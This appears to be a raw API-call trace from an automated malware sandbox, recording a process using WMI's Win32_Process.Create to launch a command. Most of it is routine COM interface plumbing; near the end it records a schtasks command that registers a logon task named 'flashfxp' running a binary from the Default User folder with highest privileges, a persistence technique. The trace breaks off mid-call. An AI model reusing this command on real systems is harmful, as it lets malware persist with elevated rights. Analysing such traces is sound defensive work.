0x0 [0163.484] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0163.484] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0163.484] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0163.484] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0163.485] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0163.485] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0163.485] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.489] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbf16c0) returned 0x0 [0163.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf16c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0163.489] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf16c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc95230) returned 0x0 [0163.490] WbemDefPath:IUnknown:Release (This=0x1bbf16c0) returned 0x0 [0163.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc95230) returned 0x0 [0163.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0163.490] WbemDefPath:IUnknown:AddRef (This=0x1bc95230) returned 0x3 [0163.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0163.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0163.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbf16e0) returned 0x0 [0163.491] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf16e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.491] WbemDefPath:IUnknown:Release (This=0x1bbf16e0) returned 0x3 [0163.491] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0163.491] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0163.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0163.491] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x2 [0163.491] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x1 [0163.491] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0163.491] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0163.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc95230) returned 0x0 [0163.492] WbemDefPath:IUnknown:AddRef (This=0x1bc95230) returned 0x3 [0163.492] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x2 [0163.492] WbemDefPath:IWbemPath:SetText (This=0x1bc95230, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0163.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0163.492] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0163.492] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.492] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0163.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0163.492] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0163.492] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.495] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1640) returned 0x0 [0163.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1640, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0163.495] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1640, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94ff0) returned 0x0 [0163.495] WbemDefPath:IUnknown:Release (This=0x1bbf1640) returned 0x0 [0163.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94ff0) returned 0x0 [0163.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0163.496] WbemDefPath:IUnknown:AddRef (This=0x1bc94ff0) returned 0x3 [0163.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0163.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0163.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1660) returned 0x0 [0163.496] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.496] WbemDefPath:IUnknown:Release (This=0x1bbf1660) returned 0x3 [0163.496] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0163.497] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0163.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0163.497] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x2 [0163.497] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x1 [0163.497] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0163.497] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0163.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94ff0) returned 0x0 [0163.497] WbemDefPath:IUnknown:AddRef (This=0x1bc94ff0) returned 0x3 [0163.497] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x2 [0163.497] WbemDefPath:IWbemPath:SetText (This=0x1bc94ff0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95230, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0163.497] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc95230) returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0163.497] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0163.497] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95230, uIndex=0x0, pszName="root") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0163.498] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95230, uIndex=0x1, pszName="cimv2") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94ff0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94ff0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95230, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95230, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95230, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95230, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0163.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0163.499] IWbemServices:GetObject (in: This=0x1bc35e20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa22380, ppCallResult=0x0) returned 0x0 [0163.505] IWbemClassObject:GetMethod (in: This=0x1aa22380, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa226f0, ppOutSignature=0x1bb7e690*=0x1aa22a60) returned 0x0 [0163.505] IWbemClassObject:SpawnInstance (in: This=0x1aa226f0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc776f0) returned 0x0 [0163.506] IWbemClassObject:Get (in: This=0x1bc776f0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b00*=0, plFlavor=0x27e9b04*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b00*=8, plFlavor=0x27e9b04*=32) returned 0x0 [0163.506] IWbemClassObject:Get (in: This=0x1bc776f0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b00*=8, plFlavor=0x27e9b04*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b00*=8, plFlavor=0x27e9b04*=32) returned 0x0 [0163.506] IWbemClassObject:Put (This=0x1bc776f0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"flashfxp\" /sc ONLOGON /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0163.506] IWbemClassObject:Get (in: This=0x1bc776f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b90*=0, plFlavor=0x27e9b94*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b90*=13, plFlavor=0x27e9b94*=32) returned 0x0 [0163.506] IWbemClassObject:Get (in: This=0x1bc776f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b90*=13, plFlavor=0x27e9b94*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9b90*=13, plFlavor=0x27e9b94*=32) returned 0x0 [0163.506] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb94520) returned 0x0 [0163.507] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0163.507] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0163.507] IUnknown:AddRef (This=0x1bb94520) returned 0x3 [0163.507] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0163.507] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0163.507] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb94528) returned 0x0 [0163.507] IMarshal:GetUnmarshalClass (in: This=0x1bb94528, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0163.507] IUnknown:Release (This=0x1bb94528) returned 0x3 [0163.507] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0163.507] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0163.508] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0163.508] IUnknown:Release (This=0x1bb94520) returned 0x2 [0163.508] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0163.508] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0163.508] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0163.508] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0163.508] IUnknown:QueryInterface (in: This=0x1bb94520, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0163.508] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0163.508] IUnknown:AddRef (This=0x1bb94520) returned 0x3 [0163.508] IWbemClassObject:Put (This=0x1bc776f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb94520, varVal2=0x0), Type=0) returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc956b0, puCount=0x1bb7e6c0 